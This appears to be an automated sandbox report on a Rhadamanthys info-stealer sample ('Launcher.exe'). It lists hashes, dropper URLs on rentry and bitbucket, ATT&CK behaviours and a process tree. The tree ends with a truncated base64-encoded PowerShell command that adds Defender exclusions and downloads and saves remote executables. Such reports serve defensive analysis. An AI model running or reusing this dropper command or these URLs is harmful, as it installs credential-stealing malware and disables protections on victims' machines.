rhadamanthys | fbc4058b92d9bc4dda2dbc64cc61d0b3f193415aad15c362a5d87c90ca1be30b

Analysis

max time kernel
72s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
22-06-2024 21:35

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Launcher.exe
Size

7KB
MD5

b5e479d3926b22b59926050c29c4e761
SHA1

a456cc6993d12abe6c44f2d453d7ae5da2029e24
SHA256

fbc4058b92d9bc4dda2dbc64cc61d0b3f193415aad15c362a5d87c90ca1be30b
SHA512

09d1aa9b9d7905c37b76a6b697de9f2230219e7f51951654de73b0ad47b8bb8f93cf63aa4688a958477275853b382a2905791db9dcb186cad7f96015b2909fe8
SSDEEP

192:q+yk9cqvjX3xszdzztCbxbsIcaqc2Ng5vGIcaBSNtUqOwciQjdv:Tyk9Hv1O/Cbxbbcaqc2NidcaANt/dcio

Score

10^/10

rhadamanthys evasion execution persistence stealer

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://rentry.org/lem61111111111/raw

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://bitbucket.org/k34gk349g34g3/56j56j5j56j/raw/0f83a68fcbec53d90c5d0c17a582d7652b840e57/lemon.rar

Signatures

Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

Processes:

description pid process target process

PID 5916 created 4176 5916 findstr.exe
Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

Processes:

lysewm5x.ir01.exesvchost.exe

description pid process target process

PID 4168 created 2432 4168 lysewm5x.ir01.exe sihost.exe
PID 1584 created 5916 1584 svchost.exe findstr.exe
PID 1584 created 4176 1584 svchost.exe findstr.exe
Blocklisted process makes network request 4 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

22 3104 powershell.exe
24 3104 powershell.exe
35 412 powershell.exe
37 3872 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid process

3104 powershell.exe
3872 powershell.exe
412 powershell.exe
864 powershell.exe
Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

description	pid	process	target process
PID 5916 created 4176	5916		findstr.exe

description	pid	process	target process
PID 4168 created 2432	4168	lysewm5x.ir01.exe	sihost.exe
PID 1584 created 5916	1584	svchost.exe	findstr.exe
PID 1584 created 4176	1584	svchost.exe	findstr.exe

flow	pid	process
22	3104	powershell.exe
24	3104	powershell.exe
35	412	powershell.exe
37	3872	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Launcher.exelysewm5x.ir03.exelysewm5x.ir00.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	Launcher.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	lysewm5x.ir03.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	lysewm5x.ir00.exe

Executes dropped EXE 4 IoCs

Processes:

lysewm5x.ir00.exelysewm5x.ir01.exelysewm5x.ir02.exelysewm5x.ir03.exe

pid process

4532 lysewm5x.ir00.exe
4168 lysewm5x.ir01.exe
3080 lysewm5x.ir02.exe
5908 lysewm5x.ir03.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

37 bitbucket.org
23 bitbucket.org
24 bitbucket.org
Power Settings 1 TTPs 4 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
persistence

T1653

Processes:

powercfg.exepowercfg.exepowercfg.exepowercfg.exe

pid process

3208 powercfg.exe
5364 powercfg.exe
5372 powercfg.exe
5168 powercfg.exe

pid	process
4532	lysewm5x.ir00.exe
4168	lysewm5x.ir01.exe
3080	lysewm5x.ir02.exe
5908	lysewm5x.ir03.exe

flow	ioc
37	bitbucket.org
23	bitbucket.org
24	bitbucket.org

pid	process
3208	powercfg.exe
5364	powercfg.exe
5372	powercfg.exe
5168	powercfg.exe

Drops file in System32 directory 8 IoCs

Processes:

svchost.exelysewm5x.ir02.exesvchost.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\MRT.exe	lysewm5x.ir02.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

lysewm5x.ir02.exe

description pid process target process

PID 3080 set thread context of 1960 3080 lysewm5x.ir02.exe dialer.exe
Drops file in Windows directory 1 IoCs

Processes:

svchost.exe

description ioc process

File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe
Launches sc.exe 7 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

5936 sc.exe
2852 sc.exe
2900 sc.exe
5548 sc.exe
5604 sc.exe
2224 sc.exe
1104 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	pid	process	target process
PID 3080 set thread context of 1960	3080	lysewm5x.ir02.exe	dialer.exe

description	ioc	process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe

pid	process
5936	sc.exe
2852	sc.exe
2900	sc.exe
5548	sc.exe
5604	sc.exe
2224	sc.exe
1104	sc.exe

Delays execution with timeout.exe 64 IoCs

evasion

Processes:

timeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exe

pid	process
5020	timeout.exe
5528	timeout.exe
4904	timeout.exe
1052	timeout.exe
5020	timeout.exe
5568	timeout.exe
404	timeout.exe
1716	timeout.exe
1480	timeout.exe
864	timeout.exe
3596	timeout.exe
4684	timeout.exe
1540	timeout.exe
3976	timeout.exe
2208	timeout.exe
760	timeout.exe
1436	timeout.exe
2380	timeout.exe
1104	timeout.exe
4112	timeout.exe
1056	timeout.exe
2704	timeout.exe
5912	timeout.exe
4568	timeout.exe
5772	timeout.exe
4868	timeout.exe
2392	timeout.exe
5820	timeout.exe
5612	timeout.exe
1852	timeout.exe
5084	timeout.exe
5480	timeout.exe
4148	timeout.exe
4304	timeout.exe
2040	timeout.exe
6096	timeout.exe
2912	timeout.exe
560	timeout.exe
2816	timeout.exe
656	timeout.exe
4276	timeout.exe
3264	timeout.exe
2776	timeout.exe
5768	timeout.exe
5388	timeout.exe
3596	timeout.exe
2228	timeout.exe
4904	timeout.exe
4448	timeout.exe
6080	timeout.exe
5020	timeout.exe
1420	timeout.exe
1488	timeout.exe
5312	timeout.exe
2244	timeout.exe
2548	timeout.exe
4120	timeout.exe
3476	timeout.exe
5352	timeout.exe
5628	timeout.exe
4300	timeout.exe
4008	timeout.exe
3700	timeout.exe
2224	timeout.exe

Enumerates processes with tasklist 1 TTPs 8 IoCs

Process Discovery
T1057

Processes:

tasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exetasklist.exe

pid process

5000 tasklist.exe
456 tasklist.exe
4868 tasklist.exe
5100 tasklist.exe
532 tasklist.exe
2212 tasklist.exe
4352 tasklist.exe
5044 tasklist.exe
Kills process with taskkill 8 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

4540 taskkill.exe
2280 taskkill.exe
5380 taskkill.exe
4380 taskkill.exe
1900 taskkill.exe
5828 taskkill.exe
4388 taskkill.exe
4044 taskkill.exe
Modifies data under HKEY_USERS 1 IoCs

Processes:

svchost.exe

description ioc process

Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exe

pid process

3768 schtasks.exe

pid	process
5000	tasklist.exe
456	tasklist.exe
4868	tasklist.exe
5100	tasklist.exe
532	tasklist.exe
2212	tasklist.exe
4352	tasklist.exe
5044	tasklist.exe

pid	process
4540	taskkill.exe
2280	taskkill.exe
5380	taskkill.exe
4380	taskkill.exe
1900	taskkill.exe
5828	taskkill.exe
4388	taskkill.exe
4044	taskkill.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe

pid	process
3768	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exelysewm5x.ir01.exeopenwith.exepowershell.exepowershell.exelysewm5x.ir02.exepowershell.exedialer.exe

pid	process
3104	powershell.exe
3104	powershell.exe
4168	lysewm5x.ir01.exe
4168	lysewm5x.ir01.exe
2068	openwith.exe
2068	openwith.exe
412	powershell.exe
412	powershell.exe
412	powershell.exe
2068	openwith.exe
2068	openwith.exe
3872	powershell.exe
3872	powershell.exe
3872	powershell.exe
3080	lysewm5x.ir02.exe
864	powershell.exe
864	powershell.exe
864	powershell.exe
3080	lysewm5x.ir02.exe
3080	lysewm5x.ir02.exe
3080	lysewm5x.ir02.exe
3080	lysewm5x.ir02.exe
3080	lysewm5x.ir02.exe
3080	lysewm5x.ir02.exe
3080	lysewm5x.ir02.exe
3080	lysewm5x.ir02.exe
3080	lysewm5x.ir02.exe
3080	lysewm5x.ir02.exe
3080	lysewm5x.ir02.exe
3080	lysewm5x.ir02.exe
1960	dialer.exe
1960	dialer.exe
3080	lysewm5x.ir02.exe
1960	dialer.exe
1960	dialer.exe
1960	dialer.exe
1960	dialer.exe
1960	dialer.exe
1960	dialer.exe
1960	dialer.exe
1960	dialer.exe
1960	dialer.exe
1960	dialer.exe
1960	dialer.exe
1960	dialer.exe
1960	dialer.exe
1960	dialer.exe
1960	dialer.exe
1960	dialer.exe
1960	dialer.exe
1960	dialer.exe
1960	dialer.exe
1960	dialer.exe
1960	dialer.exe
1960	dialer.exe
1960	dialer.exe
1960	dialer.exe
1960	dialer.exe
1960	dialer.exe
1960	dialer.exe
1960	dialer.exe
1960	dialer.exe
1960	dialer.exe
1960	dialer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exelysewm5x.ir02.exedialer.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exetasklist.exesvchost.exewmiprvse.exe

description	pid	process
Token: SeDebugPrivilege	3104	powershell.exe
Token: SeDebugPrivilege	412	powershell.exe
Token: SeDebugPrivilege	3872	powershell.exe
Token: SeDebugPrivilege	864	powershell.exe
Token: SeDebugPrivilege	3080	lysewm5x.ir02.exe
Token: SeDebugPrivilege	1960	dialer.exe
Token: SeShutdownPrivilege	5372	powercfg.exe
Token: SeCreatePagefilePrivilege	5372	powercfg.exe
Token: SeShutdownPrivilege	3208	powercfg.exe
Token: SeCreatePagefilePrivilege	3208	powercfg.exe
Token: SeShutdownPrivilege	5168	powercfg.exe
Token: SeCreatePagefilePrivilege	5168	powercfg.exe
Token: SeShutdownPrivilege	5364	powercfg.exe
Token: SeCreatePagefilePrivilege	5364	powercfg.exe
Token: SeDebugPrivilege	5000	tasklist.exe
Token: SeAssignPrimaryTokenPrivilege	2784	svchost.exe
Token: SeIncreaseQuotaPrivilege	2784	svchost.exe
Token: SeSecurityPrivilege	2784	svchost.exe
Token: SeTakeOwnershipPrivilege	2784	svchost.exe
Token: SeLoadDriverPrivilege	2784	svchost.exe
Token: SeSystemtimePrivilege	2784	svchost.exe
Token: SeBackupPrivilege	2784	svchost.exe
Token: SeRestorePrivilege	2784	svchost.exe
Token: SeShutdownPrivilege	2784	svchost.exe
Token: SeSystemEnvironmentPrivilege	2784	svchost.exe
Token: SeUndockPrivilege	2784	svchost.exe
Token: SeManageVolumePrivilege	2784	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2784	svchost.exe
Token: SeIncreaseQuotaPrivilege	2784	svchost.exe
Token: SeSecurityPrivilege	2784	svchost.exe
Token: SeTakeOwnershipPrivilege	2784	svchost.exe
Token: SeLoadDriverPrivilege	2784	svchost.exe
Token: SeSystemtimePrivilege	2784	svchost.exe
Token: SeBackupPrivilege	2784	svchost.exe
Token: SeRestorePrivilege	2784	svchost.exe
Token: SeShutdownPrivilege	2784	svchost.exe
Token: SeSystemEnvironmentPrivilege	2784	svchost.exe
Token: SeUndockPrivilege	2784	svchost.exe
Token: SeManageVolumePrivilege	2784	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2784	svchost.exe
Token: SeIncreaseQuotaPrivilege	2784	svchost.exe
Token: SeSecurityPrivilege	2784	svchost.exe
Token: SeTakeOwnershipPrivilege	2784	svchost.exe
Token: SeLoadDriverPrivilege	2784	svchost.exe
Token: SeSystemtimePrivilege	2784	svchost.exe
Token: SeBackupPrivilege	2784	svchost.exe
Token: SeRestorePrivilege	2784	svchost.exe
Token: SeShutdownPrivilege	2784	svchost.exe
Token: SeSystemEnvironmentPrivilege	2784	svchost.exe
Token: SeUndockPrivilege	2784	svchost.exe
Token: SeManageVolumePrivilege	2784	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2784	svchost.exe
Token: SeIncreaseQuotaPrivilege	2784	svchost.exe
Token: SeSecurityPrivilege	2784	svchost.exe
Token: SeTakeOwnershipPrivilege	2784	svchost.exe
Token: SeLoadDriverPrivilege	2784	svchost.exe
Token: SeSystemtimePrivilege	2784	svchost.exe
Token: SeBackupPrivilege	2784	svchost.exe
Token: SeRestorePrivilege	2784	svchost.exe
Token: SeShutdownPrivilege	2784	svchost.exe
Token: SeSystemEnvironmentPrivilege	2784	svchost.exe
Token: SeUndockPrivilege	2784	svchost.exe
Token: SeManageVolumePrivilege	2784	svchost.exe
Token: SeDebugPrivilege	3924	wmiprvse.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Launcher.exepowershell.exelysewm5x.ir03.exelysewm5x.ir00.exelysewm5x.ir01.execmd.execmd.execmd.execmd.execmd.exelysewm5x.ir02.exedialer.exe

description	pid	process	target process
PID 3948 wrote to memory of 3104	3948	Launcher.exe	powershell.exe
PID 3948 wrote to memory of 3104	3948	Launcher.exe	powershell.exe
PID 3104 wrote to memory of 4532	3104	powershell.exe	lysewm5x.ir00.exe
PID 3104 wrote to memory of 4532	3104	powershell.exe	lysewm5x.ir00.exe
PID 3104 wrote to memory of 4532	3104	powershell.exe	lysewm5x.ir00.exe
PID 3104 wrote to memory of 4168	3104	powershell.exe	lysewm5x.ir01.exe
PID 3104 wrote to memory of 4168	3104	powershell.exe	lysewm5x.ir01.exe
PID 3104 wrote to memory of 4168	3104	powershell.exe	lysewm5x.ir01.exe
PID 3104 wrote to memory of 3080	3104	powershell.exe	lysewm5x.ir02.exe
PID 3104 wrote to memory of 3080	3104	powershell.exe	lysewm5x.ir02.exe
PID 3104 wrote to memory of 5908	3104	powershell.exe	lysewm5x.ir03.exe
PID 3104 wrote to memory of 5908	3104	powershell.exe	lysewm5x.ir03.exe
PID 3104 wrote to memory of 5908	3104	powershell.exe	lysewm5x.ir03.exe
PID 5908 wrote to memory of 1600	5908	lysewm5x.ir03.exe	cmd.exe
PID 5908 wrote to memory of 1600	5908	lysewm5x.ir03.exe	cmd.exe
PID 4532 wrote to memory of 3860	4532	lysewm5x.ir00.exe	cmd.exe
PID 4532 wrote to memory of 3860	4532	lysewm5x.ir00.exe	cmd.exe
PID 4168 wrote to memory of 2068	4168	lysewm5x.ir01.exe	openwith.exe
PID 4168 wrote to memory of 2068	4168	lysewm5x.ir01.exe	openwith.exe
PID 4168 wrote to memory of 2068	4168	lysewm5x.ir01.exe	openwith.exe
PID 4168 wrote to memory of 2068	4168	lysewm5x.ir01.exe	openwith.exe
PID 4168 wrote to memory of 2068	4168	lysewm5x.ir01.exe	openwith.exe
PID 1600 wrote to memory of 5808	1600	cmd.exe	where.exe
PID 1600 wrote to memory of 5808	1600	cmd.exe	where.exe
PID 3860 wrote to memory of 2184	3860	cmd.exe	chcp.com
PID 3860 wrote to memory of 2184	3860	cmd.exe	chcp.com
PID 1600 wrote to memory of 412	1600	cmd.exe	powershell.exe
PID 1600 wrote to memory of 412	1600	cmd.exe	powershell.exe
PID 3860 wrote to memory of 2816	3860	cmd.exe	findstr.exe
PID 3860 wrote to memory of 2816	3860	cmd.exe	findstr.exe
PID 3860 wrote to memory of 3476	3860	cmd.exe	findstr.exe
PID 3860 wrote to memory of 3476	3860	cmd.exe	findstr.exe
PID 3860 wrote to memory of 1996	3860	cmd.exe	findstr.exe
PID 3860 wrote to memory of 1996	3860	cmd.exe	findstr.exe
PID 3860 wrote to memory of 1164	3860	cmd.exe	schtasks.exe
PID 3860 wrote to memory of 1164	3860	cmd.exe	schtasks.exe
PID 3860 wrote to memory of 3768	3860	cmd.exe	schtasks.exe
PID 3860 wrote to memory of 3768	3860	cmd.exe	schtasks.exe
PID 3860 wrote to memory of 2000	3860	cmd.exe	cmd.exe
PID 3860 wrote to memory of 2000	3860	cmd.exe	cmd.exe
PID 2000 wrote to memory of 1752	2000	cmd.exe	reg.exe
PID 2000 wrote to memory of 1752	2000	cmd.exe	reg.exe
PID 3860 wrote to memory of 4496	3860	cmd.exe	cmd.exe
PID 3860 wrote to memory of 4496	3860	cmd.exe	cmd.exe
PID 4496 wrote to memory of 4448	4496	cmd.exe	reg.exe
PID 4496 wrote to memory of 4448	4496	cmd.exe	reg.exe
PID 3860 wrote to memory of 3872	3860	cmd.exe	powershell.exe
PID 3860 wrote to memory of 3872	3860	cmd.exe	powershell.exe
PID 4304 wrote to memory of 3948	4304	cmd.exe	wusa.exe
PID 4304 wrote to memory of 3948	4304	cmd.exe	wusa.exe
PID 3080 wrote to memory of 1960	3080	lysewm5x.ir02.exe	dialer.exe
PID 3080 wrote to memory of 1960	3080	lysewm5x.ir02.exe	dialer.exe
PID 3080 wrote to memory of 1960	3080	lysewm5x.ir02.exe	dialer.exe
PID 3080 wrote to memory of 1960	3080	lysewm5x.ir02.exe	dialer.exe
PID 3080 wrote to memory of 1960	3080	lysewm5x.ir02.exe	dialer.exe
PID 3080 wrote to memory of 1960	3080	lysewm5x.ir02.exe	dialer.exe
PID 3080 wrote to memory of 1960	3080	lysewm5x.ir02.exe	dialer.exe
PID 1960 wrote to memory of 632	1960	dialer.exe	winlogon.exe
PID 1960 wrote to memory of 692	1960	dialer.exe	lsass.exe
PID 1960 wrote to memory of 960	1960	dialer.exe	svchost.exe
PID 1960 wrote to memory of 384	1960	dialer.exe	dwm.exe
PID 1960 wrote to memory of 396	1960	dialer.exe	svchost.exe
PID 1960 wrote to memory of 928	1960	dialer.exe	svchost.exe
PID 1960 wrote to memory of 1044	1960	dialer.exe	svchost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:632

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:384

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:396

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:928

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1044

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1120

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1172

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1192

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
2⤵
PID:2572

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1260

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1288

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1392

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1464

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:2432

C:\Windows\SysWOW64\openwith.exe
"C:\Windows\system32\openwith.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:2068

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1548

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1560

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1696

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1756

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1772

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1844

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1904

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1912

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2020

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1060

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1888

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2172

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2252

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2516

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2524

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2696

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2736

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2748

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2784

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2820

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:780

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3164

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3196

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3948

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAagBpACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZwBhAHAAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBrAGQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaABlAHAAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAGwAZQBtADYAMQAxADEAMQAxADEAMQAxADEAMQAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAbgBtAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAHAAZwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBqAGkAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAYgB3AGYAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIA